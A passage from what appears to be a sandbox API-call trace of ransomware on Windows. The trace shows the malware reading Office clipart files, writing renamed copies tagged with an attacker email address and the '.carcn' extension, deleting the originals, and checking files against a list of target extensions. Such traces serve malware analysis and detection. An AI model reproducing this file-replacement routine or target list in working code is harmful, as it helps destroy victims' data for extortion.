office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0296.133] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=7966) returned 1 [0296.133] CloseHandle (hObject=0x364) returned 1 [0296.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 0x220 [0296.133] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0296.134] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.134] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.134] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0296.135] GetLastError () returned 0x0 [0296.135] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x1f1e, lpOverlapped=0x0) returned 1 [0296.136] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x1f20, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x1f20, lpOverlapped=0x0) returned 1 [0296.137] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.137] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0296.137] SetEndOfFile (hFile=0x340) returned 1 [0296.138] CloseHandle (hObject=0x340) returned 1 [0296.138] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.138] SetEndOfFile (hFile=0x364) returned 1 [0296.139] CloseHandle (hObject=0x364) returned 1 [0296.139] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0296.139] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd09664_.wmf")) returned 1 [0296.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0296.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0296.140] lstrlenW (lpString=".doc") returned 4 [0296.140] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.140] lstrlenW (lpString=".docx") returned 5 [0296.140] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.140] lstrlenW (lpString=".pdf") returned 4 [0296.140] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.140] lstrlenW (lpString=".xls") returned 4 [0296.140] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.140] lstrlenW (lpString=".xlsx") returned 5 [0296.140] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.140] lstrlenW (lpString=".ppt") returned 4 [0296.140] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0296.140] lstrlenW (lpString=".zip") returned 4 [0296.140] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.140] lstrlenW (lpString=".rar") returned 4 [0296.140] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.140] lstrlenW (lpString=".bz2") returned 4 [0296.140] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.140] lstrlenW (lpString=".7z") returned 3 [0296.140] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.140] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0296.140] lstrlenW (lpString=".dbf") returned 4 [0296.141] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0296.141] lstrlenW (lpString=".1cd") returned 4 [0296.141] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0296.141] lstrlenW (lpString=".jpg") returned 4 [0296.141] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0296.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0296.141] lstrlenW (lpString=".doc") returned 4 [0296.141] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0296.141] lstrlenW (lpString=".docx") returned 5 [0296.141] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0296.141] lstrlenW (lpString=".pdf") returned 4 [0296.141] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0296.141] lstrlenW (lpString=".xls") returned 4 [0296.141] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0296.141] lstrlenW (lpString=".xlsx") returned 5 [0296.141] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0296.141] lstrlenW (lpString=".ppt") returned 4 [0296.141] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0296.141] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0296.141] lstrlenW (lpString=".zip") returned 4 [0296.141] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0296.141] lstrlenW (lpString=".rar") returned 4 [0296.141] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0296.141] lstrlenW (lpString=".bz2") returned 4 [0296.141] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0296.142] lstrlenW (lpString=".7z") returned 3 [0296.142] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0296.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0296.142] lstrlenW (lpString=".dbf") returned 4 [0296.142] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0296.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0296.142] lstrlenW (lpString=".1cd") returned 4 [0296.142] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0296.142] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD09664_.WMF") returned 68 [0296.142] lstrlenW (lpString=".jpg") returned 4 [0296.142] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0296.142] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0296.142] lstrlenW (lpString="BD10890_.GIF") returned 12 [0296.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0296.142] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=13515) returned 1 [0296.143] CloseHandle (hObject=0x364) returned 1 [0296.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 0x220 [0296.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0296.143] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.143] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0296.144] GetLastError () returned 0x0 [0296.144] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x34cb, lpOverlapped=0x0) returned 1 [0296.145] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x34d0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x34d0, lpOverlapped=0x0) returned 1 [0296.146] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.147] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0296.147] SetEndOfFile (hFile=0x340) returned 1 [0296.147] CloseHandle (hObject=0x340) returned 1 [0296.147] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.147] SetEndOfFile (hFile=0x364) returned 1 [0296.148] CloseHandle (hObject=0x364) returned 1 [0296.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0296.148] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10890_.gif")) returned 1 [0296.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0296.149] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0296.149] lstrlenW (lpString=".doc") returned 4 [0296.149] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0296.149] lstrlenW (lpString=".docx") returned 5 [0296.149] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0296.149] lstrlenW (lpString=".pdf") returned 4 [0296.149] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0296.149] lstrlenW (lpString=".xls") returned 4 [0296.149] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0296.149] lstrlenW (lpString=".xlsx") returned 5 [0296.149] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0296.149] lstrlenW (lpString=".ppt") returned 4 [0296.149] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0296.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0296.150] lstrlenW (lpString=".zip") returned 4 [0296.150] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0296.150] lstrlenW (lpString=".rar") returned 4 [0296.150] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0296.150] lstrlenW (lpString=".bz2") returned 4 [0296.150] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0296.150] lstrlenW (lpString=".7z") returned 3 [0296.150] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0296.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0296.150] lstrlenW (lpString=".dbf") returned 4 [0296.150] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0296.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0296.150] lstrlenW (lpString=".1cd") returned 4 [0296.150] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0296.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0296.150] lstrlenW (lpString=".jpg") returned 4 [0296.150] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0296.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0296.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0296.150] lstrlenW (lpString=".doc") returned 4 [0296.150] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0296.150] lstrlenW (lpString=".docx") returned 5 [0296.150] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0296.150] lstrlenW (lpString=".pdf") returned 4 [0296.150] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0296.150] lstrlenW (lpString=".xls") returned 4 [0296.150] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0296.150] lstrlenW (lpString=".xlsx") returned 5 [0296.151] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0296.151] lstrlenW (lpString=".ppt") returned 4 [0296.151] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0296.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0296.151] lstrlenW (lpString=".zip") returned 4 [0296.151] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0296.151] lstrlenW (lpString=".rar") returned 4 [0296.151] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0296.151] lstrlenW (lpString=".bz2") returned 4 [0296.151] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0296.151] lstrlenW (lpString=".7z") returned 3 [0296.151] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0296.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0296.151] lstrlenW (lpString=".dbf") returned 4 [0296.151] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0296.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0296.151] lstrlenW (lpString=".1cd") returned 4 [0296.151] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0296.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10890_.GIF") returned 68 [0296.151] lstrlenW (lpString=".jpg") returned 4 [0296.151] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0296.152] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0296.152] lstrlenW (lpString="BD10972_.GIF") returned 12 [0296.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0296.152] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=20189) returned 1 [0296.152] CloseHandle (hObject=0x364) returned 1 [0296.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif")) returned 0x220 [0296.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0296.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0296.153] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.153] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0296.154] GetLastError () returned 0x0 [0296.154] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x4edd, lpOverlapped=0x0) returned 1 [0296.155] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0x4ee0, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0x4ee0, lpOverlapped=0x0) returned 1 [0296.157] ReadFile (in: hFile=0x364, lpBuffer=0x3d2f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesRead=0x313fecc*=0x0, lpOverlapped=0x0) returned 1 [0296.157] WriteFile (in: hFile=0x340, lpBuffer=0x3d2f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x313fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d2f020*, lpNumberOfBytesWritten=0x313fc94*=0xec, lpOverlapped=0x0) returned 1 [0296.157] SetEndOfFile (hFile=0x340) returned 1 [0296.157] CloseHandle (hObject=0x340) returned 1 [0296.157] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec0 | out: lpNewFilePointer=0x0) returned 1 [0296.157] SetEndOfFile (hFile=0x364) returned 1 [0296.158] CloseHandle (hObject=0x364) returned 1 [0296.158] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0296.159] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd10972_.gif")) returned 1 [0296.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0296.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0296.159] lstrlenW (lpString=".doc") returned 4 [0296.159] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0296.159] lstrlenW (lpString=".docx") returned 5 [0296.159] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0296.159] lstrlenW (lpString=".pdf") returned 4 [0296.160] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0296.160] lstrlenW (lpString=".xls") returned 4 [0296.160] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0296.160] lstrlenW (lpString=".xlsx") returned 5 [0296.160] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0296.160] lstrlenW (lpString=".ppt") returned 4 [0296.160] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0296.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0296.160] lstrlenW (lpString=".zip") returned 4 [0296.160] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0296.160] lstrlenW (lpString=".rar") returned 4 [0296.160] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0296.160] lstrlenW (lpString=".bz2") returned 4 [0296.160] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0296.160] lstrlenW (lpString=".7z") returned 3 [0296.160] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0296.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0296.160] lstrlenW (lpString=".dbf") returned 4 [0296.160] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0296.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0296.160] lstrlenW (lpString=".1cd") returned 4 [0296.160] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0296.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0296.160] lstrlenW (lpString=".jpg") returned 4 [0296.160] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0296.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0296.160] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0296.160] lstrlenW (lpString=".doc") returned 4 [0296.160] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0296.161] lstrlenW (lpString=".docx") returned 5 [0296.161] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0296.161] lstrlenW (lpString=".pdf") returned 4 [0296.161] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0296.161] lstrlenW (lpString=".xls") returned 4 [0296.161] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0296.161] lstrlenW (lpString=".xlsx") returned 5 [0296.161] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0296.161] lstrlenW (lpString=".ppt") returned 4 [0296.161] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0296.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0296.161] lstrlenW (lpString=".zip") returned 4 [0296.161] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0296.161] lstrlenW (lpString=".rar") returned 4 [0296.161] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0296.161] lstrlenW (lpString=".bz2") returned 4 [0296.161] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0296.161] lstrlenW (lpString=".7z") returned 3 [0296.161] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0296.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0296.161] lstrlenW (lpString=".dbf") returned 4 [0296.161] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0296.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0296.161] lstrlenW (lpString=".1cd") returned 4 [0296.161] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0296.161] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD10972_.GIF") returned 68 [0296.161] lstrlenW (lpString=".jpg") returned 4 [0296.161] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0296.162] lstrcmpiW (lpString1=".GIF", lpString2=".carcn") returned 1 [0296.162] lstrlenW (lpString="BD19563_.GIF") returned 12 [0296.162] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BD19563_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bd19563_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0296.162] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x313ff14 | out: lpFileSize=0x313ff14*=20454) returned 1 [0296.162] CloseHandle (hObject=0x364) returned 1 [0296.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 